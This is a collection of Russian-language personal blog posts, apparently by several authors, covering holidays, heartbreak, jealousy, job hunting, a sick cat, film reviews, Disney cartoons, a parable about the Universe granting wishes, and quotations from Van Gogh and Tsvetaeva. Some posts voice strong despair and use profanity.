Писать почему-то совсем нет желания, по какой причине фиг его знает, может все-таки старый блог был особенным местом для меня и здесь я еще не привыкла быть. Осталось меньше недельки каникул, пытаюсь отрываться на столько сколько могу. Собирались с одноклассниками, очень хорошо потусили, очень рада была всех видеть) Уже сто лет так не собирались.С подругой сходили в музей и в кино на ужастик, окультуривались короче. Сидеть дома вообще не хочется) С другой подругой и ее парнем провели вечер за монополией (в которую я играла впервые, мне понравилось, ахаха конечно потому что я всех сделала, новичкам везет) и за просмотром фильмов. Пытаюсь учить украинский язык по-тихоньку, пока есть время. Хочу хотя бы минимум знать, мне очень нравится. Еще сегодня наконец-то осуществила одну из своих желаний-сесть на поперечку) Рада прирада)

Вот все в кучу короче напихала. Но по отдельности реал как-то совсем не хотелось ничего писать, сегодня вдохновение пришло)

Теперь мне нравятся все времена года. Я всё так же плохо переношу холод, но шерстяной свитер и толстый шарф позволяют увидеть, что зимой тоже очень красиво. И гулять так же приятно, как летом, тем более, что там, где летом я быстро ехала на велосипеде, зимой можно идти и смотреть по сторонам. Взяла за привычку в солнечные дни гулять по привычному маршруту, по 5-6 км. Прогулки, тишина, солнце, свежий воздух - лучшие средства от хандры. Недавно вот пошла гулять и увидела сразу всю живность, которая летом гуляет в разных местах: лошадей, осликов, пони. И даже… детеныша пони? понёнка? пончика?

Теперь долгую зиму не нужно терпеть, пережидать и стараться пережить, её можно прожить, причем очень даже радостно. Великое умение - находить во всем положительные моменты :) Зима всё равно будет наступать каждый год, поэтому нужно, хе-хе, расслабиться и получать удовольствие.

Это какое-то очередное идиотское совпадение, но все парни, с которыми у меня было невзаимно с одной из сторон или с которыми были отношения при полном равнодушии друг к другу - короче, практически все парни в моей жизни - были апрельскими. То есть овнами, тельцами или кто там… У многих в моей семье ДР также в апреле. У некоторых друзей и знакомых. Вот такое, блин, везение. Начинаю верить в гороскопы и мою полную несовместимость с этими весенними знаками))

[ask] [nekto] [спрашивай]

Хочу как в американских фильмах, где счастливая семья переезжает в новый дом дабы начать жизнь с чистого листа. Хочу переехать в дом где-то на опушке леса, где кругом не будет городской суеты, не будет людей, а значит, и проблем.

Я поднялась на крылечко и просто стояла там. Теплый лесной ветер приветливо развивал мои волнистые локоны, которые я так долго отращивала. Они немного лезли на лицо, но мне это даже нравилось. Я закрыла глаза, чтобы услышать этот лес. Услышать, чем он живет. Его душу. Глубокую, тайную и загадочную жизнь. Я вдохнула воздух, в котором уловила запах лаванды, немножечко речки, которая пробегает где-то неподалеку, блестя под лучами солнца, а еще запах хвои. Много хвои. Я наслаждалась этим моментом, пока меня кто-то не отвлек. Я обернулась. Ко мне бежала моя собака, которую я взяла где-то в приюте. Она тоже неимоверно рада новой обстановке. Она даже больше в восторге, чем я. Ведь собаки гораздо эмоциональней людей. А потом я пошла разбирать коробки. Они уже немного пропахли пылью, которая была в грузовике. Но вещи — книги, фотографии, какие-то картины — все еще пахли домом. Еще пока старым домом, в который я больше не вернусь.

Я зашла в новый дом. От того, что в нем еще нет мебели, было слышно маленькое эхо моих шагов и даже моего дыхания. В окно заливались солнечные лучи, а прямо в них блестело будто что-то космическое. Оно плавно передвигалось по пространству. Я провела там рукой, но этих блесточек уже не было на ней видно. Они только на солнышке такие красивые и волшебные. Я лениво бросила коробки на деревянный пол, а от них разлетелась сахарная пудра. Собака чихнула. Смешная. А я просто встала и начала оглядываться. Уже начала представлять, где будет стоять диван, а где шкаф; где кровать, а где комод. Я уже тогда видела, как на кухне сидит кто-то, кого я приглашу. Или как мы будем кушать за обеденным столом с человеком, которого я когда-то выбрала и который сейчас перетаскивает вещи из фургона.
Кстати, его слышно! Точнее, не его, а хворостинки, которые хрустят под его ногами. А значит, его. Этот звук и его, и хворостинок. Но в основном, хворостинок, конечно. Так это странно, когда задумаешься об этом. И так интересно. Тот человек, который ходит туда-сюда с грузом, пока я разбираю эти картонные ящики, когда-то сделал мне предложение. Почему я тогда выбрала его? Почувствовала? Возможно. Впрочем, не знаю. Да это сейчас уже и не важно.

А потом я услышу, как Его ботинки поднимаются на крыльцо. Какая-то дощечка уже немного сгнила, поэтому она предательски скрипнула под ним. Я обернулась. В дверном проеме стоял Он. Наша собака ринулась к нему. Ведь она Его так любит. А он устало почесал ее за ухом. Улыбнулся и перевел свой взгляд на меня. Такого взгляда я давно не видела. Возможно, так он смотрела на меня только когда мы познакомились, а он понял, что влюбился. Я уже тогда его чем-то зацепила. А сейчас мы уже здесь. В новом доме. В месте, где нас никто не потревожит.

Он подошел ко мне тихо, чтоб не нарушить эту тишину природы. А вы представляете эту тишину природы? Это же не тишина по сути. Природа сама по себе никогда не молчит. Обязательно где-то что-то происходит, а от этого возникает звук. Где-то шишка упала. И даже было слышно, как она ударилась о землю, пропитанную недавним дождем. Мы это оба услышали и еще больше заулыбались. Он обнял меня и начал так же, как я прежде, осматривать дом. Так же, как и я, представлять, где будет стоять книжный шкаф, где он будет смотреть телевизор после тяжелого рабочего дня и где он положит свой любимый ковер. Он почему-то его очень любит. Этот ковер старый, ничем не примечательный. Ну, обычный ковер, но эти узоры правда зацепляли. Да и он подходил под уже продуманный интерьер.

Это сейчас так спокойно и тихо. Но потом начнется настоящая суета переезда в новое место. Под эту суету в американских фильмах обычно включают какую-то красивую, успокаивающую и веселящую душу, музыку. И пара дурачится, красят друг друга, вместо стен, краской, а собака рядом скачет и веселится.

Для меня это рай. Для меня это мечта. К которой надо стремиться.

02.02.16

Я научилась говорить шутя, о самых грустных мыслях в голове.

Ах Астахова

Всегда мало внимания этого. Когда к человеку привыкаешь, так хочешь чтобы он был с тобой как можно больше, чтоб больше проводить время друг с другом, хочется очень. Я всегда рада, когда пишет "малыш, с учебы встречу) " или "через часик к дому приеду, собирайся" ;) как же здорово, когда человек хочет тебя видеть

я закрыла сессию на все 5. и когда я пришла домой с последнего экзамена, мне хотелось плакать. я даже не знаю почему. а может и знаю, просто не хочу озвучивать это самой себе.

вот они, каникулы. Каникулы, на которых мы с К. собирались полететь во Вьетнам, а потом передумали и решили ехать на горно-лыжную базу. Каникулы, которые мы должны были провести вместе. Каникулы, которые я так ждала.

и вот я одна. привет, отдых.

я не хочу каникул. мне нужно что-то делать, быть занятой, иначе я начинаю много думать. и думать не о том, о чем надо бы.

я пытаюсь жить головой, а не эмоциями. я стараюсь, правда стараюсь.

Тим Дрейк (Красный Робин) и Джейсон Тодд (Красный колпак).

— Элина Вишнякова

Вот как перестать думать о человеке, которого не заслуживаешь? Которому причинила много боли, разрушила все мечты на счастливое будущее, не оправдала надежд.. Почему так много обстоятельств? Почему просто нельзя любить? Лю-Би-Ть! Искренне, легко, не причиняя никому боли от своего выбора. Любить всей душой. Вот только есть ли она?

Девять деятелей искусства были приглашены на ужин, трое из нас должны были произнести трехминутную речь. Я был вторым. После моего выступления Путин спросил: «Правильно ли я понимаю, мистер Уилсон, что вас интересует образование, что для вас театр — образовательное место?» Я ему ответил: «Нет, господин президент, нисколько. Я считаю, что театр не место для образования, для этого существуют университеты и школы. Также он не является местом для политики или религии. И я считаю, что политика разделяет людей». Он рассмеялся. Я сказал: «Как хорошо, что у вас есть чувство юмора». И вдруг происходит удивительная вещь — он говорит: «Я знаю, что вы недавно режиссировали “Игру снов” Августа Стриндберга». Я: «Да, так и есть, господин президент». Боже, этот чувак знает, кто такой Август Стриндберг! Это был шок. И он продолжает: «Что вы сделали в конце первого акта в сцене с Адвокатом?» Я шокирован еще сильнее, говорю: «Господин президент, я знаю, что это совершенно неуместно, но я готов поспорить, что президент моей страны, Джордж Буш, никогда и не узнает, кто такой Август Стриндберг». На это он ответил: «Вы правы, но зато он знает много о бейсболе».

(с) Роберт Уилсон

Мой серый вреднючка заболел: (завтра в вет.клинику:(

И вот, у меня наконец-то каникулы. Целых 2 недели я могу провести не задумываясь об учебе и обо всём, что с ней связано. Я так ждала этих двухнедельных выходных, а теперь, 2 дня проведя дома, понимаю, что мне скучно. Мы не можем договориться и собраться с друзьями: у всех свои дела, да и похоже эти наши встречи нужны только мне. Вот так вот. Иногда мне просто катастрофически не хватает одиночества, а теперь все наоборот. Меня для меня самой слишком много. И моя голова снова забита кучей бесполезных/запутанных/грустнопечальных мыслей. Я думаю абсолютно обо всём, пытаюсь адекватно оценить себя, своих друзей, всех окружающих меня людей. Думаю о своем отношении к людям, которые были в моем прошлом. И черт возьми, после событий недельной давности мне до сих пор обидно! А ведь я уже смирилась к тому времени, что с человеком у нас просто ничего не получилось. Его действия снова сделали больно, через столько времени напомнить о себе да еще так "оригинально". Я сейчас не понимаю, как можно доверять людям, делиться с ними своими мыслями и переживаниями, если в будущем, если все закончится, это может быть использовано против тебя. Я бы никогда не смогла в лицо оскорблять человека, который был мне не безразличен. А он смог. И, как мне кажется, сделал это без зазрения совести. И неужели в нем не осталось никакого уважения ко мне, либо он ничего никогда не чувствовал… Но как можно было так правдоподобно все изображать?! Снова в моем многострадальном мозгу эти глупые вопросы без ответа. И да, настроение у меня в связи с этим ни к черту. Хочется разрыдаться, но понимаю, что не хочу обьяснять маме, что со мной происходит, да и чтобы она волновалась я тоже не хочу.

Если результат лечения-это мое постоянное хотение спать, апатия и в результате похуизм ко всему, то меня это не устраивает.Я хочу блять жизни радоваться, и без всяких заебов и панических атак.Кстати ревность это не убивает.П.пошла гулять с какой-то там Р. и я все пыталась утихомирить дракона ревности.
П.обещала что то рассказать, когда что то случится.Не рассказывает.Я уже не знаю, что думать.Но я явно в чем то оказалась права.Вопрос только в чем? И естественно мой мозг напридумыаал хороших и плохих вариантов того, что она мне расскажет.Плохие довели меня до истерики.А хорошие вносят покой в мою душу и уверенность кое в чем.
Я всегда была оптимистичным человеком.Но сейчас у меня тупо отчаяние. От моего состояния, от того, что я не понимаю, что происходит.От того, что я люблю ее пиздец как и надеюсь на то, что она ПОЙМЕТ..И я просматриваю ее сохраненные картиночки накручивая себя и надумывая себе много хуйни и потом плачу.
Я так от всего устала.Слушаю песню, которая грустнее моего милого принца по моему мнению.Девочки стараются меня поддерживать и верят в хороший исход.А я..А я не знаю.Я устала.Я просто продолжаю любить ее и любить с каждым днем все сильнее.И продолжаю ждать.
Апатия.Можно я отвернусь к стеночке и пролежу так век? спасибо.я устала.мне плохо.Спасите меня.СПАСИ МЕНЯ. ай.скоро я сделаю крупный жест, который покажет ей кое что и все.Оставьте меня в моем унынии.Все равно это ее не трогает.Все зря.Все зря.И жизнь моя зря.Мама, у меня жизнь болит.
Любовь моя.Солнце мое.Котенок мой.Самая красивая девочка на свете.С самыми красивыми глазами, чудесной улыбкой и манящими руками.моя девочка.
Спать.Анабиоз.
Карма.Бумеранг.Вселенная за меня даст всем леща. Спать. Вечно.
Люблю.Жду.Надеюсь.Целую.Снишься.

не теряйте меня, ребята)

Самый мой большой страх в жизни - это встречать где-то знакомых людей. Вот встретишь ты кого-нибудь и не знаешь, нужно ли поздороваться. Ты-то прекрасно помнишь этого человека, а вдруг он забыл про тебя? Жизнь так всё выстраеивает и сталкивает с людьми, которых не хотела и не хочешь видеть. А с теми, кого жаждешь встретить, не сталкивает:(

Иду я с работки домой, спокойненько, никого не трогая, слушая свою нигерскую репчину в наушниках. А, к слову, у нас в городе с освещением беда, особенно на второстепенных дорогах. И вот иду я по аллее, приближаясь к дороге, где уже более менее светло и мне навстречу идет мужик и дрочит. Мать вашу, ДРОЧИТ. У меня все органы в пятки ушли, а в голове стали мелькать картины с изнасилованием. Это было так отвратительно, фу прям. У меня сначала дикий шок, а потом я нафиг улетела от того места.

" Помните, что вы критиковали себя в течении многих лет - и эта критика не работала. Попробуйте хвалить себя и посмотрите, что произойдет. "

«Для успешного завершения задуманного дела скрывайте его, ибо, поистине, у каждого обладателя блага есть (свой) завистник». Пророк Мухаммад (сас).
Поэтому не стоит говорить о своих планах.

— Свет мой зеркальце скажи, да всю правду…
- Не все мужики козлы. Но у тебя нюх, родная, у тебя нюх.

На улице темно и штормит. И обычно в такую погоду люди любят сидеть дома, да и я тоже люблю. Но сейчас мне дико хочется туда, в эту темноту, в этот ураган, и хочется оказаться на улице, и без куртки. Хочется побыть свободной даже от одежды, которая стесняет меня. Хочется бродить по пустым местам, по лесам, подальше от города. А лучше оказаться у моря. Хочется смотреть на эти завораживающее волны, разбивающиеся о берег, и слышать шум моря. Хочется выкинуть все мысли прочь из головы, всю злость из себя. Хочется подышать свежим воздухом и ощутить штормящий ветер на себе. Хочется проветрить свою забитую всем и одновременно ничем голову. Хочется ощутить свободу от всего.

И ещё хочется пиццы.

Пожалуй, всё.

Есть смысл делать что-то для себя. Не из-за больного самолюбия или эгоизма, а потому что это правильно. Альтруизм тоже должен появлятся в те моменты, когда вы смогли позаботиться о себе, когда обрели под ногами почву, которую сами же и смогли вскормить. Иначе нет смысла в вашей помощи другим.

Добро появляется в самых глубинах души. Бескорыстие и желание помогать должны приносить радость и облегчение. Если это не так, то ваше время будет потрачено зря: вы не сможете посадить цветы на почве, которая не способна к жизни.

А жизнь можете дать только вы.

Я ВООБЩЕ КОГДА-НИБУДЬ НАЙДУ РАБОТУ?! Я ВООБЩЕ КОМУ-НИБУДЬ НУЖНА?!

У меня уже все варианты закончились, я уже 4 мес. безрезультатно ищу работу! ГОСПОДИ, ДАЙ МНЕ НОРМАЛЬНУЮ РАБОТУ!

всегда все заканчивается одинаково. он где то там, а я здесь. одна.

Покормлю своих любимых бездомных четверолапых пасанов и пойду к бабушке, чтобы влить Васе в катетер раствор Рингера, а после буду ждать любимого с работы.

Я веду свет в "Акации", мать твою.У меня всего один день для репетиций,2 прогона.Как жииить??? Я же тупая и криворукая.Я уже вижу как получаю люлей от Хаариса, Милена, Павленко и присоеденившегося к ним Витюни.Это карма.Свет в этом спектакле и я всегда будут связанны.Почему нельзя было сделать проще и выгнать этого долбоёба из спека.И всем было бы хорошо.Нееет, театральную этику им подавай.Приличные.Хотя есть и плюсы, я потушу немного в цеху, а там всегда случается что-то интересное.Место очень мало, а людей много вот и выходят от этого всякие весёлые истории.И вообще, буду мстить всем, кто меня бесят-будут играть спек в темноте.Крч, у всего есть свои плюсы.

В такие моменты я просто включаю на полную в наушниках
Bullet For My Valentine - All these things I hate

Меня все время бесит Артур, это просто какая-то жесть.
Походу мы не подходим друг другу.

Иногда мне хочется убить (образно) Артура. Одалживать кому-либо деньги- это норма, одолжить самому- ни у кого нет. Мне похер на кого-то. ВОЛНУЕТ ТОЛЬКО ВАСЯ И ЕГО ЗДОРОВЬЕ. Я договорилась в клинике, что за последующий приём расплатимся чуть позже. Артур даже не может найти машину, когда его почти все друзьяю имеют тачки. " Они не могут-работа". А МНЕ ЧТО СДЕЛАТЬ, БЛЯТЬ. Как мне кота отвезти в клинику? Или таксисту тоже сказать, что деньги потом отдадим? Конечно, круто быть "благотворителем" и несовсем круто стать на обратную сторону. Я должна всё разруливать. У меня просто опускаются руки. Я сделала всё возможное. Пусть хоть Артур что-нибудь сделает.

Регулярно везде опаздываю, потому что не хочу никуда приходить

Cписок вещей, которые мне нужно сделать для решения всех моих проблем:

1. Найти на улице миллион долларов и забрать его себе.

В памяти что-то сильно колет, будто бы игла в ней
Думал, со временем забуду о тебе так плавно
И постепенно, но, походу, то самообман был

Сегодня он пришел с работы и сказал, что завтра поедет с другом на реп.точку. А послезавтра они соберутся там еще с барабанщиком и может даже будет вокалистка.

Воот на этом последнем слове меня конкретно клинануло.

"КАКАЯ НАХРЕН ВОКАЛИСТКА?" - наехала сразу я, а про себя уже подумала, как буду убивать ее. Это нормально вообще?

Я как представлю, что если они сыграются и споются, они ведь будут собираться каждую неделю и скорее всего не один раз. Естественно, после работы. А я буду куковать дома, пока он там будет общаться с этой вокалисткой? А потом ведь еще добавятся ВК и будут там общаться >_<.

Это пиздец, товарищи.

Я интересная в общении девушка: необычная, нетипичная :D

И моя нетипчиность в общении с незнакомыми людьми проявляется посредством того, что в их присутствии я пародирую все неживые предметы быта: стол, стул, шкаф, кровать.

И нужно время, чтобы превратиться из стульчика в живого человека.

Жаль, что у людей не так много времени на ожидание.

как бы я хотела в его день рождения быть с ним.
но.

Ребятушки, кто может посоветовать хороший книжный интернет-магазин в Украине ? Я вообще редко что покупаю через интернет, потому что опасаюсь, но многие говорят, что так книги получаются дешевле)

Твиттер

Взаимный фолловинг, как говорится. Но если твиты норм :D

у нас с повелителями времени есть кое-что общее.во время очередной регенерации они становятся уязвимы и их можно умертвить, если я не ошибаюсь, конечно.сейчас полным ходом идет моя регенерация.последняя и самая важная для меня.регенерация с внутренним убийством.мы просто уберем одного из нас, потому что он лишний.он..она.она жутко мешает.это из-за нее мы постоянно воюем.она создана обществом.забитая, потерянная, жестокая, одетая в черную ненависть.она паразит, пожирающий меня настоящую.
но я боюсь.что если в последнюю минуту перехода появится опасность извне.если мне попытаются пробить дыру в груди.две смерти я не вынесу.я погибну.

— достаточно пьян, чтобы сказать "я люблю тебя"?

Не хотелось бы засорять вашу ленту;
не хотелось писать про учебу;
не хотелось бы засорять свой блог;
такими мыслями..
Не хотелось бы.

Однако , прошел безмятежный январь. И наступил жестокий НЕДОфевраль. Сегодня моё утро началось с 80-ти источников литературы на диплом. Да, не 35-40, как норма, а все 80. И это минимум. Здрасте, диплом, а я по Вам не скучала. Кафедра как всегда нас троллит.
Однако , теперь я чаще провожу время со своим молодым человеком: в тепле, уюте и кудряшках. И хотя мы вместе застряли на стадии "Диплом хочет, чтобы его написали", всё же продолжаем не хандрить.
Однако , хочется весны.

И всё же, пост задумывался серым, унылым и сухим. А вышел немного не таким.

p.s. Я жутко скучаю по своей книжке и по семкам, йопт.

Измена - это измена. Она не делится на «измена по-пьяни», «измена назло» или ещё какие-то разновидности. Если Вы изменили, не опускайтесь до таких мерзких оправданий перед самими собой. Любимых не предают.

бывает, ведешь себя как сучка, а сердце у тебя доброе.

99 % меня

Я частенько, чего уж греха таить, заказываю суши. Ну, люблю я их. А еще постоянно читаю отзывы людей. И есть такие, кто жалуется на долгую доставку, к примеру. И постоянно вот так:

"Ну, вы нас огорчили очень, доставка 3 часа, суши все холодные. РЕБЕНОК ОЧЕНЬ РАССТРОИЛСЯ".

"Всегда у вас заказываем и всегда все было хорошо, но сегодня подвели. Привезли поздно, желание кушать пропало. РЕБЕНОК В ШОКЕ"

"РЕБЕНОК ОХУЕЛ" и тому подобное. И мне всегда смешно. Да ваши "ребенки" наверное даже не понимают ничего, что они вообще едят и что они "очень долго ждали суши". И в комментах находятся защитники суши-фирмы, мол, ну ничего, дождались же. А мамашки им отвечают Я ЗА СВОЕГО РЕБЕНКА ПОРВУ.

Ну смешно же.

Чувство, когда смотришь один сюжет фильма, а в конце разворот событий показывает как надо! Охринеть. Не много фильмов с таким неожиданным концом. Фильм начинается с того места, каким принято кино заканчивать: убита красивая и богатая жена, подозревают горюющего мужа, его долго изводят на допросах, пока не находят настоящего преступника, справедливость торжествует. В «Не говори никому» этот классический шаблон будет только во флэш-бэках. Мол, все это уже совсем не интересно, как бы говорит Кане. В основе его фильма лежит версия на тему: «А что же могло произойти дальше, после того, как жену кремировали, а убийцу посадили?»

Впала в детство

Я никогда не задумывалась в детстве о том, по какому принципу мультики становятся моими любимыми. И сейчас, когда мне уже через два месяца стукнет 21, я осознала, как говорится.

1. Мулан. Неуклюжая, своенравственная. Не понимала, почему девушке нужно срочно идти замуж, рожать детей и ждать мужа, за что подвергалась недопониманию. Была с позором вышвырнута от свахи, но потом проявила небывалый героизм, спасла отца, очистила свое доброе имя, спасла весь Китай. Ее отец сказал ей, когда они сидели в саду *умиляюсь, когда вспоминаю эту сцену*, что самый поздний цветок на дереве окажется красивей всех. В этом капец как много смысла.

2. Геркулес. Был обычным подростком с необычной силой, от которой все шарахались. Не имел друзей и чувствовал себя "не в том месте". Пошел искать "свое", стал героем, спас богов, девушку, одолел Аида. В этом капец как много смысла.

3. Аладдин. Бедный сирота, готовый поделиться последним куском хлеба с таким же обделенным. Все время был в обиде на отца, что тот оставил его… Он вор, но несмотря на это, честный и порядочный человек. Вот это поворот! И весь такой искренний и самоотверженный, он побеждает Джафара, влюбляется в красотку-принцессу и вообще достигает вершин. В этом капец как много смысла.

В общем, чо я подумала? Связь улавливаете? Сначала они никто, странные для большинства, но потом все меняется и самые странные и необычные люди становятся героями, у них все складывается в жизни, кому-то приходит слава, кто-то становится богом, кто-то принцем.

Почему жизнь не диснеевский мультик? Я неправильно воспиталась на мультиках.

Я все жду, когда смогу распуститься (в хорошем смысле :D) и стать лучше всех.

Ну, все ясно со мной. Я хочу стать героем.

Найдено на просторах интернета.

______________________________________________________________________

Не бесите вселенную.

Вот я иногда думаю, что там, на небе, собрался молодой творческий коллектив. Работа у них такая. Креативная. Помогать людям воплощать мечты.

В понедельник в 9:00 у них планерка и обсуждение текущих мечт. Начальник отдела зачитывает новые поступления желаний с планеты Земля, все остальные переписывают их в свои ежедневники. Петя мечтает стать писателем. Коля — поваром. Наташа — фотографом. Ну, например.

Потом начальник так с энтузиазмом говорит: «Ну все, ребята, работаем! Мы же отличная команда! Мы профессионалы!»

И понеслось. Они придумывают какие-то невероятные сценарии и сюжеты. Точно рассчитывают время и место, чтобы столкнуть человека со случайными людьми и событиями. Составляют план и график. Согласуют со смежными группами, чтобы осуществление мечты Пети никак отрицательно не повлияло на осуществление мечты Коли. Проделывают колоссальную работу. Не спят ночами, не видят детей и кота. Мечтают, что после этого проекта обязательно попросят у шефа отпуск.

И вот проект подписан. Все инстанции дали добро.

Наступает день икс. Он обведен в календаре красным кружком. Все согласовано с астрологическим отделом. Близнец в Овне, все как положено.

Человек выходит из дома. Понимает, что забыл ключи. Пока бегал за ключами, опоздал на автобус. А на работе начальник-зверь и срочный проект. Человек вызывает такси, понимает, что сегодня останется без обеда, потому что на такси уйдут последние деньги. С испорченным настроением плюхается в машину. Таксист решает разрядить обстановку и делает радио погромче. Играет Лепс: «Самый лучший день». Человек просит переключить. На другой радиостанции — объявление. Такая-то студия по такому-то адресу объявляет новый набор в художественную школу. Телефон повторяют два раза. И таксист говорит: «О, в художники зовут. У меня племянница тоже хорошо рисует. Ей 5 лет сейчас, а все говорят, что талантище».

И человек ему отвечает грустно: «Я тоже в детстве хорошо рисовал».

А по радио опять объявление повторяют.

Там, на небе, все смотрят на это со скрещенными пальцами. Никто не дышит. Не шевелится. В туалет никто не выходит. Муха замерла в полете.

Человек переписывает номер телефона в свой блокнот.

Вся креативная группа выдохнула. Открывают шампанское. Все аплодируют и смеются. Кто-то подхватил другого кружиться в танце. Кто-то позвал на радостях коллегу на свидание.

А человек пришел домой. Рассказал жене. И она ему говорит: «Что это ты надумал? Что за глупости?»

И человек такой: «Действительно, что это я себе надумал! Глупости какие-то. Не рисовал-то уже с детства. Ну да, вспоминал об этом недавно. Хотел даже кисти купить. Но как-то все лишних денег не было. Как я пойду туда? Засмеют же…»

И там, на небе, все дружно: «Да что ж такое-то?! Как так?!»

Кто-то театрально швыряет бумаги со стола со словами: «Я не могу так больше работать!!!» Свидание отменяется. Шеф вызывает начальника отдела исполнения мечт с требованием отчета. Кто виноват? В чем косяк? Разбор полетов. Лишение премий. Никакого отпуска. Дома скучают дети и кот.

В общем, давайте не будем бесить Вселенную. Там ребята реально стараются. Без отпуска работают.

Давайте не будем.

Наконец-то посмотрела "Безумный Макс". Фильм просто шикарный. К тому же я такие очень люблю. А Харди просто ♥_♥

И потом посмотрела русское кино "Самый лучший день". И просто блять. У меня даже, сука, слов нет. Конечно же, а почему же надо любить русский кинематограф? особенно после "Безумного Макса". Такое дерьмо я давно ещё не видела. И как бы Нагиев, он мне нравится, но, блять, фильм тупой нереально. И вообще ни о чём. Хотя постойте. О том, что мужики такие суки, особенно, когда напиваются и изменяют с первой же юбкой, и о бабах дурах, которые после этого прощают. Да ещё так тупо все эти "прощения" были показаны, даже для этой деревни. У меня реально просто нет слов, и, видимо, русские фильмы я ещё долго смотреть не буду. Имхо

я отношусь, наверное, сейчас к очень редкому типу девушек

я всегда буду верить в Ирошникова, как бы хуево и тяжело не было

как бы мы не ругались и что бы не случилось, я просто буду верить

и все остально приложиться

все чаще приходиться разочаровываться в людях, подставляют все. все кругом лгут. да и я не исключение, я вру. все мы врем. не доверяйте людям, вас подставят и выбросят. а вы будите страдать и крутить в голове один вопрос " почему? "
будет больно и сложно, но вы сможете выжить, вы выстоите, вы докажите всем и главное себе, что вы сильные. я верю в вас, все в ваших руках.
и вообще, станьте суками, адскими суками. любите только себя, думайте только о себе, у вас нет друзей, у вас есть вы.
стройте из себя собственный идеал, что бы смотря в зеркало вас хотелось трахнуть самого себя. любите себя, делайте все для себя.

Мои ребятки сняли коттедж на сутки завтра. И поставили перед фактом, что я еду.

Если честно в моей голове куча сомнений.

Во-первых, я сейчас безработная и тратить деньги на коттедж не совсем хорошо.

Во-вторых, там будет Даня, которого я ну совсем видеть не хочу.

Я понимаю, что я не обязана буду с ним говорить/общаться, что он будет с Алиной и что это давно пройденный этап.

Просто последнии наши диалоги были его претензии ко мне и это точно не тот человек, с которым я бы хотела провести вечер. И сама мысль оказаться снова в одной компании меня угнетает.

Вечером должна заехать на работку с подругой. И сдать денежку. И вот что-то очень противиться этому.

А с другой стороны, загород, домик, шашлык и весёлая компания и любимые ребята рядом, зачем отказываться из-за какого то одного человека, который вызывает во мне негатив.

Я обожаю сериал "Девочки Гилмор" и надеюсь, что новости о продолжении сериала - не слухи. Но говорить о восьмом сезоне еще очень рано, так как Netflix только собираются его снимать, насколько я знаю.

Итак, я хотела бы выложить сюда список книг Рори Гилмор - одной из героинь сериала. Уверена, кому-то этот список будет также полезен, как и мне.

Итак, сам список:

На самом деле, книг намного больше, все они есть здесь с:

человек с проактивным мышлением - вещь за гранью возможного. ну где вы видели персону, совсем не поддающуюся влиянию с внешней стороны? ну хотя бы капелюську? да такие люди уже нелюди! они говорят, что мы должны стремиться к этому проактивному мышлению, заведомо зная, что нам не в силах достигнуть его в полной мере. так почему бы не создать достижимую планку? почему мы должны постоянно стремиться к чему-то хорошему, при этом не достигая финишной прямой? не, это, конечно, замечательно, но хоть в чем-то дайте нам добиться совершенства.

моя цель на ближайшее время - научиться совмещать пятьсот миллионов дел вместе. до недавнего времени если я занималась одним делом, то не присутпала к другому, пока не закончу первое. нет, это не целеустремленность и все такое, это просто фигня. потому что это первое дело я могла делать, а точнее откладывать, целую вечность. в итоге никакого результата и усталось от ничегонеделания.

сейчас я по-тихоньку учусь совмещать/чередовать дела. это достаточно интересно, дает какой-то результат + смена деятельности благотворно влияет на бодрствовании в течение дня. конечно, всё это еще не идельно, так как моя память меня часто подводит, и я по пол часа пытаюсь вспомнить, где же я остановилась, пока делала паузу на другое совсем дело, ноооооо всё ещё впереди~

Джентельменство нынче не в чести. Как часто, видя девушку с тяжелыми сумками, вы предлагаете помощь? А дверь придерживаете, пропуская даму вперед? А комплименты от души когда последний раз говорили? Мужчины, будьте мужчинами, пожалуйста, а не просто брюконосителями. Я понимаю, что в век, когда женщины становятся гораздо сильнее, целеустремленнее, выносливее, "да и вообще", тяжеловато-то, конечно, соперничать, но..
Я уже смирилась, что слово сейчас фактически ничего уже и не значит, разбрасываются им как только можно, а почему бы и нет, в общем-то, лишь бы бесплатно.
Не успели привыкнуть к одному, так начинается новая эпидемия-фиктивные поступки. Казалось бы, поступки-сильнее слов, но и тут свои подводные камни. Звать замуж, клясться в верности и вечной любви, приезжать за тысячи километров..И через неделю забыть как звали.
Что это такое и с чем его едят, я пока еще не разобралась, да и не очень хочется, но боязнь ошибиться/обжечься приобретает уже более отчетливые формы, открывая светлое беззаботное будущее с 40 кошками. И пусть я уж настолько старомодна и все мои принципы морально устарели, но если я встречу человека, для которого слово действительно будет что-то значить, я выйду за него замуж не раздумывая, и буду хранить как зеницу ока, пылинки сдувать и не забуду занести в Красную книгу как редкий и исчезающий вид.

Женщина-кошка, Ядовитый плющ, Харли Квинн, Талия Аль Гул.

Я люблю просыпаться, когда дома никого нет - утро в твоем полном распоряжении. Можно неспешно встать, потягиваясь до хруста в позвонках, включить любимую музыку, именно ту, что сделает утро особенным, выглянуть в открытое окно, вдохнуть свежий воздух и пойти скорее на кухню, чтобы сварить кофе и приготовить завтрак…

С первым глотком становится теплее внутри, так и хочется улыбнуться, просто потому что это утро есть.

Винсент Ван Гог: В каждом из нас целая вселенная. Фантастический мир, закрытый для постороннего доступа, и самое сложное — получить этот доступ. Построить мост между твоей вселенной и вселенной, живущей рядом всего в нескольких шагах. Для этого нужны нечеловеческие усилия. И самое сложное — это найти в себе мужество открыть свой мир для другого. Берегите эти мосты.

Для людей, совмещающих в себе сенсориков и экстравертов в одном флаконе, крайне важно, чтобы их собеседник представлял из себя яркую, незаурядную и одаренную личность. Не исключено, что это ошибочное суждение, составленное по большей части на нерепрезентативной выборке, но я явственно начинаю ощущать эту тенденцию, стоит мне пообщаться с такими людьми. Их не будет восхищать ни глубина моих мыслей, ни мое умение плыть по течению, но в нужный момент подрываться с места - для них важнее видеть в другом таких же, как и они сами, иначе они отнесут тебя в свой ментальный ящичек с наклейкой "Неудачник/Неудачница" и забудут навсегда. Честно говоря, я ненавижу таких поверхностных людей, выносящих оценки по внешнему и при этом ни разу не удосуживающихся задуматься о ядре и сути их окружающих, потому как они-то чаще всего обходили меня стороной в прошлом. Но многое с тех лет утекло и изменилось, между прочим…

Марина Цветаева: Жить – это неудачно кроить и беспрестанно латать, – и ничто не держится (ничто не держит меня, не за что держаться, – простите мне эту печальную, суровую игру слов). Когда я пытаюсь жить, я чувствую себя бедной маленькой швейкой, которая никогда не может сделать красивую вещь, которая только и делает, что портит и ранит себя, и которая, отбросив все: ножницы, материю, нитки, – принимается петь. У окна, за которым бесконечно идет дождь.

